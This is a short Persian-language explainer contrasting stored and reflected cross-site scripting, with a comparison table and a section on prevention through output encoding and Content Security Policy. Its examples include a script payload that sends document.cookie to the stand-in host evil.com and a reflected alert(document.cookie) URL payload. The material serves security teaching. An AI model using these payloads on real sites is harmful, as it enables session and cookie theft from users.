XSS ذخیرهشده (Stored) در مقابل XSS بازتابی (Reflected)
در XSS ذخیرهشده، اسکریپت مخرب در دیتابیس یا فایل سرور ذخیره میشود (مثلاً در یک کامنت) و برای هر کاربری که آن صفحه را ببیند اجرا میشود، در حالی که در XSS بازتابی، اسکریپت مخرب فقط در همان درخواست (معمولاً در پارامتر URL) قرار دارد و بلافاصله در پاسخ همان درخواست بازتاب داده و اجرا میشود بدون اینکه جایی ذخیره شود.
| ویژگی | XSS ذخیرهشده (Stored) | XSS بازتابی (Reflected) |
|---|---|---|
| محل ذخیره اسکریپت | دیتابیس/فایل سرور | فقط در همان درخواست |
| دامنه تأثیر | همه بازدیدکنندگان صفحه | فقط قربانی لینک مخرب |
| نیاز به فریب کاربر | خیر | بله (کلیک روی لینک) |
کِی از XSS ذخیرهشده (Stored) استفاده کنیم؟
برای درک آسیب دائمی و گسترده: یک بار تزریق در بخش کامنت یا پروفایل، تمام بازدیدکنندگان بعدی را آلوده میکند.
کِی از XSS بازتابی (Reflected) استفاده کنیم؟
برای درک آسیب موردی: مهاجم باید قربانی را با یک لینک مخرب حاوی اسکریپت در پارامتر URL فریب دهد.
مثال XSS ذخیرهشده (Stored)
<!-- Stored: در دیتابیس کامنت ذخیره شده -->
<div class="comment">
<script>document.location='//evil.com/'+document.cookie</script>
</div>
مثال XSS بازتابی (Reflected)
https://shop.example.com/search?q=
<script>alert(document.cookie)</script>
<!-- Reflected: مستقیم در نتیجه جستجو بازتاب میشود -->
اشتباه رایج
اشتباه رایج فرض این است که XSS بازتابی چون «ذخیره نمیشود» کمخطرتر است؛ اما اگر لینک آلوده برای قربانی خاصی (مثل ادمین) ارسال شود، همان یک کلیک میتواند منجر به سرقت کامل نشست (Session) او شود.
جمعبندی
هر دو نوع با اسکیپکردن صحیح خروجی (Output Encoding) و Content Security Policy قابل پیشگیریاند؛ نوع ذخیرهشده معمولاً آسیب گستردهتری دارد و باید در اولویت رفع باشد.
